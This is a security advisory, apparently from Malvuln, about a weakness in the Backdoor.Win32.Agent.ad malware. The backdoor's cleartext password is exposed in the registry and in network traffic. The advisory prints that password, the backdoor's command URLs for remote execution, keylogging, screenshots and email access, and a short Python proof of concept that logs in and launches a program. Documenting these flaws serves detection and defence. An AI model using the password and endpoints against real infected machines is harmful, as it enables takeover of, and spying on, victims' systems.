Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/d2b933ebadd5c808ca4c68ae173e2d62.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.ad Vulnerability: Insecure Credential Storage Description: The malware listens on TCP port 87, its default password "hoanggia" is stored in the Windows registry in cleartext under "clrprv.oo" in "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\System\NPP". The password is also set as cookie value "Cookie: pass=hoanggia; day=14; month=11; year=2021", which also gets sent over the network in plaintext. Third party attackers who can access the system or sniff traffic can grab the password, then execute any programs and or run commands made available by the backdoor. Execute programs http://x.x.x.x:87/brow?exe=C:\Windows\system32\calc.exe Screenshots http://x.x.x.x:87/scrs? Websites visited http://x.x.x.x:87/web? Keys pressed http://x.x.x.x:87/key? File system browsing http://x.x.x.x:87/brow? Apps used http://x.x.x.x:87/run? Outlook emails http://x.x.x.x:87/chatoutlook?app=out Misc CMDs http://x.x.x.x:87/main?cmd=shutdown http://x.x.x.x:87/main?cmd=logoff http://x.x.x.x:87/main?cmd=reboot Type: PE MD5: d2b933ebadd5c808ca4c68ae173e2d62 Vuln ID: MVID-2021-0406 Disclosure: 11/21/2021 Exploit/PoC: import requests with requests.Session() as s: p = s.post("http://x.x.x.x:87/main", data={'pass':"hoanggia"}) r = s.get("http://x.x.x.x:87/brow?exe=calc") print(r.status_code) Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).